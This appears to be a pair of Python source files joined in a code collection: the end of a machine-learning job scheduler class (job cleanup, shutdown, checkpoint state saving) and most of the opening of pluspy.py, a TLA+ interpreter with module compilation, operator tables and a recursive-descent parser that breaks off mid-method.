logger.error('Exception in worker process: {}'.format(e))
ret = return_list[0] if len(return_list) > 0 else None
return ret
def _clean_task_internal(self, task_dict):
pass
def _cleaning_tasks(self):
with self.LOCK:
new_scheduled_tasks = []
for task_dict in self.scheduled_tasks:
if task_dict['Job'].done():
self._clean_task_internal(task_dict)
self.finished_tasks.append(self._dict_from_task(task_dict))
else:
new_scheduled_tasks.append(task_dict)
if len(new_scheduled_tasks) < len(self.scheduled_tasks):
self.scheduled_tasks = new_scheduled_tasks
def join_tasks(self):
warn("scheduler.join_tasks() is now deprecated in favor of scheduler.join_jobs().",
AutoGluonWarning)
self.join_jobs()
def join_jobs(self, timeout=None):
"""Wait all scheduled jobs to finish
"""
self._cleaning_tasks()
for task_dict in self.scheduled_tasks:
try:
task_dict['Job'].result(timeout=timeout)
except TimeoutError as e:
logger.error(str(e))
self._clean_task_internal(task_dict)
self._cleaning_tasks()
def shutdown(self):
"""shutdown() is now deprecated in favor of :func:`autogluon.done`.
"""
warn("scheduler.shutdown() is now deprecated in favor of autogluon.done().",
AutoGluonWarning)
self.join_jobs()
self.REMOTE_MANAGER.shutdown()
def state_dict(self, destination=None):
"""Returns a dictionary containing a whole state of the Scheduler
Examples
--------
>>> ag.save(scheduler.state_dict(), 'checkpoint.ag')
"""
if destination is None:
destination = OrderedDict()
destination._metadata = OrderedDict()
destination['finished_tasks'] = pickle.dumps(self.finished_tasks)
destination['TASK_ID'] = Task.TASK_ID.value
return destination
def load_state_dict(self, state_dict):
"""Load from the saved state dict.
Examples
--------
>>> scheduler.load_state_dict(ag.load('checkpoint.ag'))
"""
self.finished_tasks = pickle.loads(state_dict['finished_tasks'])
Task.set_id(state_dict['TASK_ID'])
logger.debug('\nLoading finished_tasks: {} '.format(self.finished_tasks))
@property
def num_finished_tasks(self):
return len(self.finished_tasks)
def __repr__(self):
reprstr = self.__class__.__name__ + '(\n' + \
str(self.RESOURCE_MANAGER) +')\n'
return reprstr
|
pluspy.py
|
# Author: Robbert van Renesse, 2020
import os
import random
import traceback
pluspypath = ".:./modules/lib:./modules/book:./modules/other"
def exit(status):
sys.stdout.flush()
os._exit(status)
# When compiling and running into an identifier, it should be clear
# exactly what that identifier refers to. It could be the name of:
#
# - a variable
# - a constant
# - an operator
# - an argument of that operator
# - a bounded variable (\E, ...)
# - a module
#
# In order to do this mapping, we keep a stack of dictionaries
# that map names to expressions for these things.
name_stack = [{}]
def name_lookup(name):
for d in reversed(name_stack):
ex = d.get(name)
if ex != None:
return ex
return False
# Like name_lookup but prints an error
def name_find(name):
e = name_lookup(name)
if not e:
print("Identifier", name, "not found")
return e
# Find a file using a directory path
def file_find(name, path):
sep = ";" if path.find(";") >= 0 else ":"
for dir in path.split(sep):
full = os.path.join(dir, name)
if os.path.exists(full):
return os.path.abspath(full)
return False
# For debugging, we give each bounded variable a unique identifier
bv_counter = 0
# kludge: as object definitions are properly nested, I maintain a stack
# of modules
modstk = []
# kludge: for transforming expression for initialization
initializing = False
# This is a dictionary of modules that have already been loaded
# from files.
modules = {}
# This is a dictionary of wrappers around Python functions
# Maps module names to dictionaries of (operator name, Wrapper) pairs
wrappers = {}
# Verbose output
silent = False
verbose = False
class FrozenDict:
def __init__(self, d):
self.d = d
def __str__(self):
return "FrozenDict(" + str(self.d) + ")"
def __hash__(self):
hash = 0
for x in self.d.items():
hash ^= x.__hash__()
return hash
# Two dictionaries are the same if they have the same (key, value) pairs
def __eq__(self, other):
if not isinstance(other, FrozenDict):
return False
if len(self.d.keys()) != len(other.d.keys()):
return False
for (k, v) in self.d.items():
if v != other.d.get(k):
return False
return True
def __len__(self):
return len(self.d.keys())
def format(self):
result = ""
keys = sorted(self.d.keys(), key=lambda x: key(x))
for k in keys:
if result != "":
result += ", "
if is_tla_id(k):
result += k + " |-> " + format(self.d[k])
else:
result += format(k) + " |-> " + format(self.d[k])
return "[ " + result + " ]"
# A Hashable "nonce" (to implement CHOOSE x: x \notin S)
class Nonce:
def __init__(self, id):
self.id = id # TODO: ideally a cryptographic hash
def __str__(self):
return "Nonce(" + str(self.id) + ")"
def __hash__(self):
return self.id
def __eq__(self, other):
return isinstance(other, Nonce) and other.id == self.id
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Module specification
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
class Module:
def __init__(self):
self.name = None
self.constants = dict() # name -> ConstantExpression
self.variables = dict() # name -> VariableExpression
self.operators = dict() # name -> OperatorExpression
self.wrappers = dict() # name -> BuiltinExpression
self.globals = set() # set of non-LOCAL names
def __str__(self):
return "Module(" + self.name + ", " + str(self.constants) \
+ ", " + str(self.variables) + ", " \
+ str(self.operators.keys()) + ")"
# handle a CONSTANT declaration
def compileConstantDeclaration(self, ast):
(t0, a0) = ast
assert t0 == "CommaList"
for (t1, a1) in a0:
assert t1 == "GOpDecl"
(t2, a2) = a1
if t2 == "Identifier":
id = lexeme(a2)
nargs = 0
elif t2 == "paramOp":
(t3, a3) = a2[0]
assert t3 == "Identifier"
(t4, a4) = a2[1]
assert t4 == "CommaList"
id = lexeme(a3)
nargs = len(a4)
elif t2 == "prefixOp" or t2 == "postfixOp":
id = a2
nargs = 1
elif t2 == "infixOp":
id = a2
nargs = 2
else:
assert False
ce = ConstantExpression(id, nargs)
self.constants[id] = ce
name_stack[-1][id] = ce
# handle a VARIABLE declaration
def compileVariableDeclaration(self, ast):
(t, a) = ast
assert t == "CommaList"
for (t2, a2) in a:
assert t2 == "Identifier"
id = lexeme(a2)
ve = VariableExpression(id)
self.variables[id] = ve
name_stack[-1][id] = ve
# handle an "Operator == INSTANCE name" definition
def compileModuleDefinition(self, md, isGlobal):
(t0, a0) = md[0]
assert t0 == "GNonFixLHS"
assert len(a0) == 2
inst = md[1]
(t2, a2) = a0[0]
assert t2 == "Identifier"
id = lexeme(a2)
(t3, a3) = a0[1]
assert t3 == "Optional"
if a3 == None:
args = []
else:
(t4, a4) = a3
assert t4 == "CommaList"
args = a4
cargs = []
for (t, a) in args:
assert t == "GOpDecl"
(t2, a2) = a
if t2 == "Identifier":
cargs = cargs + [(lexeme(a2), 0)]
elif t2 == "paramOp":
(t3, a3) = a2[0]
assert t3 == "Identifier"
(t4, a4) = a2[1]
assert t4 == "CommaList"
cargs = cargs + [(lexeme(a3), len(a4))]
elif t2 == "prefixOp" or t2 == "postfixOp":
cargs = cargs + [(a2, 1)]
elif t2 == "infixOp":
cargs = cargs + [(a2, 2)]
else:
assert False
# print("MD 1", id)
mi = ModInst()
args = [ArgumentExpression(a, c) for (a, c) in cargs]
name_stack.append({ a.id:a for a in args })
# print("MD 2", id, inst)
mi.compile(inst)
# print("MD 3", id, args, mi)
name_stack.pop()
# We put the ModInst inside the expr field of an OperatorExpression
od = OperatorExpression(id=id, args=args, expr=mi)
self.operators[id] = od
if isGlobal:
self.globals.add(id)
name_stack[-1][id] = od
if verbose:
print("++> ", od, mi)
# handle the next TLA "Unit" in the source
def compileUnit(self, ast):
(t, a) = ast
if t == "GVariableDeclaration":
self.compileVariableDeclaration(a)
elif t == "GConstantDeclaration":
self.compileConstantDeclaration(a)
elif t == "decl-op":
(tloc, aloc) = a[0]
assert tloc == "Optional"
(t1, a1) = a[1]
assert t1 == "GOperatorDefinition"
(id, args, expr) = compileOperatorDefinition(a1)
if id in self.wrappers.keys():
od = OperatorExpression(id, args,
BuiltinExpression(id, args, self.wrappers[id]))
else:
od = OperatorExpression(id, args, expr)
self.operators[id] = od
if aloc == None:
self.globals.add(id)
name_stack[-1][id] = od.expr if args == [] else od
if verbose:
print("+-> ", id, args, expr.primed, expr)
elif t == "decl-inst":
(tloc, aloc) = a[0]
assert tloc == "Optional"
mi = ModInst()
mi.compile(a[1])
for k in mi.globals:
self.operators[k] = mi.operators[k]
if aloc == None:
self.globals.add(k)
elif t == "decl-fun":
(tloc, aloc) = a[0]
assert tloc == "Optional"
(t1, a1) = a[1]
assert t1 == "GFunctionDefinition"
(id, args, expr) = compileFunctionDefinition(a1)
od = OperatorExpression(id, args, expr)
self.operators[id] = od
if aloc == None:
self.globals.add(id)
assert args == []
# name_stack[-1][id] = od
name_stack[-1][id] = expr
if verbose:
print("++> ", id, args, expr.primed, expr)
elif t == "decl-mod":
(tloc, aloc) = a[0]
assert tloc == "Optional"
(t1, a1) = a[1]
assert t1 == "GModuleDefinition"
self.compileModuleDefinition(a1, tloc != None)
elif t in { "GTheorem", "GAssumption", "GDivider" }:
pass
elif t == "GModule":
mod = Module()
mod.compile(ast)
name_stack[-1][mod.name] = mod
else:
print("compileUnit", ast)
assert False
# Get operators from EXTENDS clause
def extends(self, ast):
for (n, m) in ast:
assert n == "Name"
mod = load_module(lexeme(m))
assert mod.constants == dict()
assert mod.variables == dict()
for k in mod.globals:
self.operators[k] = mod.operators[k]
self.globals.add(k)
if mod.wrappers.get(k) != None:
self.wrappers[k] = mod.wrappers[k]
name_stack[-1][k] = mod.operators[k]
# Given AST, handle all the TLA+ units in the AST
def compile(self, ast):
(t, a) = ast
if t == False:
return False
assert t == "GModule"
assert len(a) == 3
(t0, a0) = a[0]
assert t0 == "Name"
self.name = lexeme(a0)
# Set wrappers
global wrappers
self.wrappers = wrappers.get(self.name)
if self.wrappers == None:
self.wrappers = {}
# Add a new dictionary to the name stack
name_stack.append({})
(t1, a1) = a[1]
assert t1 == "Optional"
if a1 != None:
(tx, ax) = a1
assert tx == "CommaList"
self.extends(ax)
(t2, a2) = a[2]
assert t2 == "AtLeast0"
for ast2 in a2:
self.compileUnit(ast2)
if verbose:
print("Variables", self.name, self.variables)
name_stack.pop()
return True
# Load and compile the given TLA+ source, which is a string
def load_from_string(self, source, srcid):
# First run source through lexical analysis
r = lexer(source, srcid)
if verbose:
print()
print("---------------")
print("Output from Lexer")
print("---------------")
print(r)
# Parse the output from the lexer into an AST
gmod = GModule()
# Error handling
global shortest, error
shortest = r
(t, a, r) = gmod.parse(r)
# t is the type of the AST root node (False if error)
# a is the content (or error message list if error)
# r is the suffix of the lexer output that could not be parsed
if False:
print()
print("---------------")
print("AST")
print("---------------")
printAST((t, a), "")
if t == False:
print("Parsing failed", a)
print(error)
print("At position", shortest[0])
return False
if r != []:
print("Remainder", r[0])
# Handle all TLA+ units in the AST
if verbose:
print()
print("---------------")
print("Compile", source.split("\n")[0].replace("-", ""))
print("---------------")
modstk.append(self)
result = self.compile((t, a))
modstk.pop()
return result
def load(self, f, srcid):
all = ""
for line in f:
all += line
return self.load_from_string(all, srcid)
def load_from_file(self, file):
full = file_find(file, pluspypath)
if not full:
return False
with open(full) as f:
return self.load(f, file)
def load_module(name):
mod = name_lookup(name)
if mod == False:
if modules.get(name) == None:
mod = Module()
name_stack.append({})
if not mod.load_from_file(name + ".tla"):
print("can't load", name, ": fatal error", file=sys.stderr)
exit(1)
name_stack.pop()
modules[name] = mod
else:
mod = modules[name]
return mod
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Module instance
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
# Describes an "INSTANCE module-name WITH k <- e ..." expression.
# Here each k is either a constant or variable name of the module, and e
# some expression that should be substituted for it
class ModInst:
def __init__(self, module=None, substitutions=None, operators=None, wrappers=None, globals=None):
self.module = module
self.substitutions = substitutions
self.operators = operators
self.wrappers = wrappers
self.globals = globals
self.primed = False
def __str__(self):
subs = ""
for (k, v) in self.substitutions.items():
if subs != "":
subs += ", "
subs += str(k) + ": " + str(v)
return "Instance(" + self.module.name + ", [" + subs + "])"
def __repr__(self):
return self.__str__()
def substitute(self, subs):
substitutions = {
k:v.substitute(subs) for (k, v) in self.substitutions.items()
}
return ModInst(module=self.module, substitutions=substitutions, operators={}, globals=set())
def set(self, module, substitutions):
self.module = module
self.substitutions = substitutions
def compile(self, ast):
(t, a) = ast
assert t == "GInstance"
(t1, a1) = a[0]
assert t1 == "Name"
self.module = load_module(lexeme(a1))
(t2, a2) = a[1]
assert t2 == "Optional"
d = {}
if a2 != None:
(t3, a3) = a2
assert t3 == "CommaList"
for (t4, a4) in a3:
assert t4 == "GSubstitution"
(t5, a5) = a4[0]
assert t5 == "Identifier"
(t6, a6) = a4[1]
assert t6 == "GArgument"
d[lexeme(a5)] = compileExpression(a6)
# We now need to replace all the constants and variables in the
# operators of the module. Some may have been specified using
# WITH (captured in 'd'), others are implicit.
self.substitutions = {}
for (k, v) in self.module.constants.items():
if k in d.keys():
self.substitutions[v] = d[k]
else:
self.substitutions[v] = name_find(k)
for (k, v) in self.module.variables.items():
if k in d.keys():
self.substitutions[v] = d[k]
else:
self.substitutions[v] = name_find(k)
self.operators = {}
self.globals = set()
self.wrappers = {}
for k in self.module.globals:
assert k not in self.globals
assert self.operators.get(k) == None
d = self.module.operators[k]
self.operators[k] = d.substitute(self.substitutions)
# print("AAA", k, d, self.operators[k])
self.globals.add(k)
if self.module.wrappers.get(k) != None:
self.wrappers[k] = self.module.wrappers[k]
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: convenient routines
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
def islower(c):
return c in "abcdefghijklmnopqrstuvwxyz"
def isupper(c):
return c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def isletter(c):
return islower(c) or isupper(c)
def isnumeral(c):
return c in "0123456789"
def isalnum(c):
return isletter(c) or isnumeral(c)
def isnamechar(c):
return isalnum(c) or c == "_"
def isprint(c):
return isinstance(c, str) and len(c) == 1 and (
isalnum(c) or c in " ~`!@#$%^&*()-_=+[{]}\\|;:'\",<.>/?")
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: various tables copied from book
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
ReservedWords = [
"ASSUME", "ELSE", "LOCAL", "UNION", "ASSUMPTION", "ENABLED", "MODULE",
"VARIABLE", "AXIOM", "EXCEPT", "OTHER", "VARIABLES", "CASE", "EXTENDS",
"CHOOSE", "IF", "SUBSET", "WITH", "CONSTANT", "IN", "THEN", "CONSTANTS",
"INSTANCE", "THEOREM", "DOMAIN", "LET", "UNCHANGED", "SF_", "WF_"
]
PrefixOps = {
"-": (12, 12),
"-.": (12, 12),
"~": (4, 4),
"\\lnot": (4, 4),
"\\neg": (4, 4),
"[]": (4, 15),
"<>": (4, 15),
"DOMAIN": (9, 9),
"ENABLED": (4, 15),
"SUBSET": (8, 8),
"UNCHANGED": (4, 15),
"UNION": (8, 8)
}
InfixOps = {
"!!": (9, 13),
"#": (5, 5),
"##": (9, 13),
"$": (9, 13),
"$$": (9, 13),
"%": (10, 11),
"%%": (10, 11),
"&": (13, 13),
"&&": (13, 13),
"(+)": (10, 10),
"(-)": (11, 11),
"(.)": (13, 13),
"(/)": (13, 13),
"(\\X)": (13, 13),
"*": (13, 13),
"**": (13, 13),
"+": (10, 10),
"++": (10, 10),
"-": (11, 11),
"-+->": (2, 2),
"--": (11, 11),
"-|": (5, 5),
"..": (9, 9),
"...": (9, 9),
"/": (13, 13),
"//": (13, 13),
"/=": (5, 5),
"/\\": (3, 3),
"::=": (5, 5),
":=": (5, 5),
":>": (7, 7),
"<": (5, 5),
"<:": (7, 7),
"<=>": (2, 2),
"=": (5, 5),
"<=": (5, 5),
"=<": (5, 5),
"=>": (1, 1),
"=|": (5, 5),
">": (5, 5),
">=": (5, 5),
"??": (9, 13),
"@@": (6, 6),
"\\": (8, 8),
"\\/": (3, 3),
"^": (14, 14),
"^^": (14, 14),
"|": (10, 11),
"|-": (5, 5),
"|=": (5, 5),
"||": (10, 11),
"~>": (2, 2),
".": (17, 17),
"\\approx": (5, 5),
"\\geq": (5, 5),
"\\oslash": (13, 13),
"\\sqsupseteq": (5, 5),
"\\asymp": (5, 5),
"\\gg": (5, 5),
"\\otimes": (13, 13),
"\\star": (13, 13),
"\\bigcirc": (13, 13),
"\\in": (5, 5),
"\\notin": (5, 5),
"\\prec": (5, 5),
"\\subset": (5, 5),
"\\bullet": (13, 13),
"\\intersect": (8, 8),
"\\preceq": (5, 5),
"\\subseteq": (5, 5),
"\\cap": (8, 8),
"\\land": (3, 3),
"\\propto": (5, 5),
"\\succ": (5, 5),
"\\cdot": (5, 14),
"\\leq": (5, 5),
"\\sim": (5, 5),
"\\succeq": (5, 5),
"\\circ": (13, 13),
"\\ll": (5, 5),
"\\simeq": (5, 5),
"\\supset": (5, 5),
"\\cong": (5, 5),
"\\lor": (3, 3),
"\\sqcap": (9, 13),
"\\supseteq": (5, 5),
"\\cup": (8, 8),
"\\o": (13, 13),
"\\sqcup": (9, 13),
"\\union": (8, 8),
"\\div": (13, 13),
"\\odot": (13, 13),
"\\sqsubset": (5, 5),
"\\uplus": (9, 13),
"\\doteq": (5, 5),
"\\ominus": (11, 11),
"\\sqsubseteq": (5, 5),
"\\wr": (9, 14),
"\\equiv": (2, 2),
"\\oplus": (10, 10),
"\\sqsupset": (5, 5),
# The following are Cartesian product ops, not infix operators
"\\X": (10, 13),
"\\times": (10, 13)
}
PostfixOps = {
"[": (16, 16),
"^+": (15, 15),
"^*": (15, 15),
"^#": (15, 15),
"'": (15, 15)
}
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: AST pretty printer
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
# For printAST: AST nodes that have lists of nodes as arguments
listNodes = [
"Concat", "Index", "GModule", "AtLeast0", "AtLeast1", "CommaList",
"GOperatorDefinition", "GQuantifierBound",
"op", "lambda", "except", "if", "forall", "exists", "square"
]
# printAST: AST nodes that have another AST node as argument
tagNodes = [
"GUnit", "GTheorem", "GBasicExpression", "GExpression18", "GArgument",
"GVariableDeclaration", "GConstantDeclaration", "Tuple",
"parentheses", "set", "wf", "sf"
]
# Pretty printer for AST. Every node in the AST is of the form (t, a),
# where 't' is the type and 'a' is what's in the node
def printAST(x, indent):
(t, a) = x
if not t:
print("ERROR: " + str(a))
return
print(indent + "(" + t + ",", end="")
if t in listNodes:
print()
print(indent + ".[")
for y in a:
printAST(y, indent + "..")
print(indent + ".]")
print(indent + ")")
elif t in tagNodes:
print()
printAST(a, indent + "..")
print(indent + ")")
elif t.startswith("Infix"):
(op, lhs, rhs) = a
print(" " + op + ":")
printAST(lhs, indent + "..")
printAST(rhs, indent + "..")
print(indent + ")")
elif t.startswith("Prefix"):
(op, expr) = a
print(" " + op + ":")
printAST(expr, indent + "..")
print(indent + ")")
elif t.startswith("Postfix"):
(expr, op) = a
print(" " + op + ":")
printAST(expr, indent + "..")
print(indent + ")")
elif t == "Optional":
if a == None:
print(" None)")
else:
print()
printAST(a, indent + "..")
print(indent + ")")
else:
print(" '" + str(a) + "'", end="")
print(")")
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Compiler: BNF rules
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
# Extract the lexeme out of a token
def lexeme(token):
(lex, line, column, first) = token
return lex
stack = [] # Global parser state used for parsing disjuncts and conjuncts
# For error messages
shortest = []
error = []
def parseError(a, r):
global shortest, error
if len(r) < len(shortest):
error = a
shortest = r
return (False, a, r)
# BNF rule
class Rule:
# s is a list of tokens. Returns (t, a, r) where
# t: type of the AST node (or False if not recognized)
# a: contents of the AST node (or error message if t = False)
# r: remainder of 's' that was not parsed
# Must be redefined in child class
def parse(self, s):
return parseError(["Rule.parse undefined"], s)
# Handy routine for rules that simply call other rules
# It parses s using the given rule and returns a node (name, (t, a), r)
# where name is the type of the AST node and (t, a) the result of
# parsing given the rule.
#
# If t is a "Concat" rule (sequence of other rules), then you can
# select a subset using the select argument
#
# Otherwise, if select is not None, the result of the rule is
# directly returned without adding a new AST node
def match(self, name, s, rule, select=None):
(t, a, r) = rule.parse(s)
if not t:
return parseError([name] + a, r)
if isinstance(select, list) and t == "Concat":
if len(select) == 1:
return (name, a[select[0]], r)
return (name, [ a[i] for i in select ], r)
if select != None:
return (t, a, r)
return (name, (t, a), r)
class GModule(Rule):
def parse(self, s):
return self.match("GModule", s, Concat([
tok("----"), tok("MODULE"), Name(), tok("----"),
Optional(Concat([ tok("EXTENDS"), CommaList(Name()) ]), [1]),
AtLeast(GUnit(), 0), tok("====")
]), [ 2, 4, 5 ])
# This rule recognizes a list of other rules: rule1 & rule2 & rule3 & ...
class Concat(Rule):
def __init__(self, what):
self.what = what
def parse(self, s):
rem = s
result = []
for x in self.what:
(t, a, r) = x.parse(rem)
if not t:
return parseError(["Concat"] + a, r)
result = result + [(t, a)]
rem = r
return ("Concat", result, rem)
# This rule recognizes a list of at least count rules
class AtLeast(Rule):
def __init__(self, rule, count):
self.rule = rule
self.count = count
def parse(self, s):
rem = s
result = []
c = self.count
while True:
(t, a, r) = self.rule.parse(rem)
if not t:
if c > 0:
return parseError(["AtLeast" + str(self.count)] + a, r)
else:
return ("AtLeast" + str(self.count), result, rem)
result = result + [(t, a)]
rem = r
c -= 1
# Recognizes an optional rule, i.e., 'rule?'
# 'select' can be used similarly as in Rule.match()
class Optional(Rule):
def __init__(self, rule, select=None):
self.rule = rule
self.select = select
def parse(self, s):
(t, a, r) = self.rule.parse(s)
if not t:
return ("Optional", None, s)
elif t == "Concat" and isinstance(self.select, list):
if len(self.select) == 1:
return ("Optional", a[self.select[0]], r)
return ("Optional", [ a[i] for i in self.select ], r)
else:
return ("Optional", (t, a), r)
class tok(Rule):
def __init__(self, what):
self.what = what
def parse(self, s):
if s == []:
return parseError(["tok: no more tokens"], s)
if lexeme(s[0]) == self.what:
return ("tok", s[0], s[1:])
return parseError([("tok: no match with '" + self.what + "'",
stringToken(s[0]))], s)
class Tok(Rule):
def __init__(self, what, name):
self.what = what
self.name = name
def parse(self, s):
if s == []:
return parseError(["Tok: no more tokens"], s)
if lexeme(s[0]) in self.what:
return ("Tok", s[0], s[1:])
return parseError(["Tok: no match with " + self.name], s)
class Name(Rule):
def __init__(self):
pass
def parse(self, s):
if s == []:
return parseError(["Name"], s)
lex = lexeme(s[0])
if lex.startswith("WF_"):
return parseError([("Name WF_", s[0])], s)
if lex.startswith("SF_"):
return parseError([("Name SF_", s[0])], s)
hasletter = False
for c in lex:
if not isnamechar(c):
return parseError([("Name with bad character", s[0])], s)
if isletter(c):
hasletter = True
if hasletter:
return ("Name", s[0], s[1:])
return parseError([("Name with no letter", s[0])], s)
class Identifier(Rule):
def __init__(self):
pass
def parse(self, s):
(t, a, r) = Name().parse(s)
if t != "Name":
return parseError(["Identifier: not a Name"] + a, s)
lex = lexeme(a)
if lex in ReservedWords:
return parseError([("Identifier: Name Reserved", a)], s)
return ("Identifier", a, r)
# Sometimes it is convenient to give certain rules names.
# A Tag node simply inserts another AST node with the given name
class Tag(Rule):
def __init__(self, name, rule, select=None):
self.name = name
self.rule = rule
self.select = select
def parse(self, s):
return self.match(self.name, s, self.rule, self.select)
class Number(Rule):
def __init__(self):
pass
def parse(self, s):
if s == []:
return parseError(["Number"], s)
lex = lexeme(s[0])
for c in lex:
if not isnumeral(c):
return parseError([("Number", s[0])], s)
return ("Number", lex, s[1:])
class String(Rule):
def __init__(self):
pass
def parse(self, s):
if s == []:
return parseError(["String"], s)
lex = lexeme(s[0])
if lex[0] == '"' and lex[-1] == '"':
return ("String", lex, s[1:])
return parseError([("String", s[0])], s)
class SeparatorList(Rule):
def __init__(self, what, sep, optional):
self.what = what # expression to match
self.sep = sep # separator token
self.optional = optional # empty list allowed
def parse(self, s):
(t, a, r) = self.what.parse(s)
if not t:
return ("SeparatorList", [], s) if self.optional \
else (False, ["SeparatorList"] + a, r)
rem = r
result = [(t, a)]
while True:
if lexeme(rem[0]) != self.sep:
return ("SeparatorList", result, rem)
(t, a, r) = self.what.parse(rem[1:])
if not t:
return ("SeparatorList", result, rem)
result = result + [(t, a)]
rem = r
class CommaList(Rule):
def __init__(self, what):
self.what = what
def parse(self, s):
(t, a, r) = self.what.parse(s)
if not t:
return parseError(["CommaList"] + a, r)
rem = r
result = [(t, a)]
while True:
if lexeme(rem[0]) != ",":
return ("CommaList", result, rem)
(t, a, r) = self.what.parse(rem[1:])
if not t:
return ("CommaList", result, rem)
result = result + [(t, a)]
rem = r
class OneOf(Rule):
def __init__(self, what):
self.what = what
def parse(self, s):
shortest = s # look for shortest remainder
result = None
for grammar in self.what:
(t, a, r) = grammar.parse(s)
if t != False:
if len(r) < len(shortest):
shortest = r
result = (t, a, r)
if result == None:
return parseError([("OneOf: no match", s)], s)
return result
class Tuple(Rule):
def __init__(self):
pass
def parse(self, s):
return self.match("Tuple", s, Concat([ tok("<<"),
# TODO. Book does not allow empty tuples
Optional(CommaList(GExpression(0))), tok(">>") ]), [1])
class GUnit(Rule):
def local(self, tag, decl):
return Tag(tag, Concat([ Optional(tok("LOCAL")), decl ]), [0, 1])
def parse(self, s):
return self.match("GUnit", s, OneOf([
GVariableDeclaration(),
GConstantDeclaration(),
self.local("decl-op", GOperatorDefinition()),
self.local("decl-fun", GFunctionDefinition()),
self.local("decl-inst", GInstance()),
self.local("decl-mod", GModuleDefinition()),
GAssumption(),
GTheorem(),
GModule(),
GDivider()
]), True)
class GDivider(Rule):
def parse(self, s):
return self.match("GDivider", s, tok("----"))
class GVariableDeclaration(Rule):
def parse(self, s):
return self.match("GVariableDeclaration", s, Concat([
OneOf([ tok("VARIABLE"), tok("VARIABLES") ]),
CommaList(Identifier())
]), [1])
class GConstantDeclaration(Rule):
def parse(self, s):
return self.match("GConstantDeclaration", s, Concat([
OneOf([ tok("CONSTANT"), tok("CONSTANTS") ]),
CommaList(GOpDecl())
]), [1])
class GOpDecl(Rule):
def parse(self, s):
return self.match("GOpDecl", s, OneOf([
Identifier(),
Tag("paramOp", Concat([
Identifier(), tok("("), CommaList(tok("_")), tok(")")
]), [0, 2]),
Tag("prefixOp", Concat([
Tok(PrefixOps, "prefix operator"), tok("_")
]), [0]),
Tag("infixOp", Concat([
tok("_"), Tok(InfixOps, "infix operator"), tok("_")
]), [1]),
Tag("postfixOp", Concat([
tok("_"), Tok(PostfixOps, "postfix operator")
]), [1])
]))
class GNonFixLHS(Rule):
def parse(self, s):
return self.match("GNonFixLHS", s, Concat([
Identifier(),
Optional(Concat([ tok("("), CommaList(GOpDecl()), tok(")") ]), [1])
]), [0, 1])
class GFunctionDefinition(Rule):
def parse(self, s):
return self.match("GFunctionDefinition", s, Concat([
Identifier(),
tok("["), CommaList(GQuantifierBound()), tok("]"),
tok("=="), GExpression(0) ]), [0, 2, 5])
class GOperatorDefinition(Rule):
def parse(self, s):
return self.match("GOperatorDefinition", s, Concat([
OneOf([
GNonFixLHS(),
Tag("prefix", Concat([ Tok(PrefixOps, "prefix operator"), Identifier() ])),
Tag("infix", Concat([ Identifier(), Tok(InfixOps, "infix operator"), Identifier() ])),
Tag("postfix", Concat([ Identifier(), Tok(PostfixOps, "postfix operator") ])),
]), tok("=="), GExpression(0) ]), [0, 2])
class GTheorem(Rule):
def parse(self, s):
return self.match("GTheorem", s,
Concat([ tok("THEOREM"), GExpression(0) ]), [1])
class GAssumption(Rule):
def parse(self, s):
return self.match("GAssumption", s, Concat([
OneOf([ tok("ASSUME"), tok("ASSUMPTION"), tok("AXIOM") ]),
Optional(Concat([ Identifier(), tok("==") ])),
GExpression(0)
]), [1])
class IdentifierOrTuple(Rule):
def parse(self, s):
return self.match("IdentifierOrTuple", s, OneOf([
Identifier(),
Tag("Tuple", Concat([
tok("<<"), CommaList(Identifier()), tok(">>")
]), [1]),
]), [0])
class GQuantifierBound(Rule):
def parse(self, s):
return self.match("GQuantifierBound", s, Concat([
OneOf([ CommaList(Identifier()), Tuple() ]),
tok("\\in"), GExpression(0) ]), [0, 2])
class GInstance(Rule):
def parse(self, s):
return self.match("GInstance", s, Concat([
tok("INSTANCE"), Name(), Optional(Concat([
tok("WITH"), CommaList(GSubstitution())
]), [1])
]), [1, 2])
class GSubstitution(Rule):
def parse(self, s):
return self.match("GSubstitution", s, Concat([
# TODO. Can also replace prefix, infix, or postfix ops
Identifier(), tok("<-"), GArgument()
]), [0, 2])
class GArgument(Rule):
def parse(self, s):
return self.match("GArgument", s, OneOf([
GExpression(0),
Tag("arg-prefix", GGeneralPrefixOp()),
Tag("arg-infix", GGeneralInfixOp()),
Tag("arg-postfix", GGeneralPostfixOp())
]))
class GInstancePrefix(Rule):
def parse(self, s):
return self.match("GInstancePrefix", s,
AtLeast(Concat([ Identifier(), Optional(
Concat([ tok("("),
# TODO. book has GExpression here, but seems wrong
CommaList(GArgument()),
tok(")")
]), [1]), tok("!") ]), 0))
class GGeneralIdentifier(Rule):
def parse(self, s):
return self.match("GGeneralIdentifier", s,
Concat([ GInstancePrefix(), Identifier() ]))
class GGeneralPrefixOp(Rule):
def parse(self, s):
return self.match("GGeneralPrefixOp", s,
Concat([ GInstancePrefix(), Tok(PrefixOps, "prefix operator") ]))
class GGeneralInfixOp(Rule):
def parse(self, s):
return self.match("GGeneralInfixOp", s,
Concat([ GInstancePrefix(), Tok(InfixOps, "infix operator") ]))
class GGeneralPostfixOp(Rule):
def parse(self, s):
return self.match("GGeneralPostfixOp", s,
Concat([ GInstancePrefix(), Tok(PostfixOps, "postfix operator") ]))
class GModuleDefinition(Rule):
def parse(self, s):
return self.match("GModuleDefinition", s,
Concat([ GNonFixLHS(), tok("=="), GInstance() ]), [0, 2])
# a disjunct or conjunct token is identifier by all but the line in the token
def junct(token):
(lex, line, column, first) = token
return (lex, column, first)
# we use the average of the precedence range of an operator to determine
# its precedence. We don't care about checking for conflicts...
def precedence(range):
(lo, hi) = range
return (lo + hi) // 2
class GExpression(Rule):
def __init__(self, level):
self.level = level
def parse(self, s):
if s == []:
return parseError(["GExpression: empty list"], s)
# If at the top precedence level, get a basic expression.
if self.level == 18:
return self.match("GExpression18", s, GBasicExpression(), True)
